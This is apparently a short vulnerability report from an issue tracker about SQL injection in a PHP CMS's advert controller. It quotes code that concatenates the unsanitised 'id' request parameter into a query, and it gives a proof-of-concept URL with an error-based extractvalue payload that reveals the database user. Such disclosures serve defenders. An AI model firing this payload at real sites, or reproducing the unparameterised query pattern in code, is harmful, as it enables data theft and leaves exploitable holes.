We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
\App\Manage\Controller\AdvertController.class.php line: 18 - 21 public function index() { //查询指定id的栏目信息 $id=I('get.id');//类别ID $topnav=M('Adnav')->where("id=$id")->select();
POC: http://127.0.0.1/index.php/Advert/Index/Adnav?id=1%20and%20(extractvalue(1,concat(0x7e,(select%20user()),0x7e)))